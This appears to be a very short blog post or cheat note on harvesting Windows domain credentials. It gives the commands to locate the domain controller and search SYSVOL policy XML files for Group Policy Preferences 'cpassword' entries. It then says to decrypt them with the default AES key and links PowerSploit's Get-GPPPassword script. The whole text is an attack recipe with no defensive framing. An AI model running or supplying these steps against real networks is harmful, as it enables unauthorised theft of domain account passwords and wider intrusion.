Reading Time: < 1 minute

echo %logonserver%

findstr /S /I cpassword \\xxDC01\sysvol\xxxdc01\policies*.xml

crack cpassword with the default AES key

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
0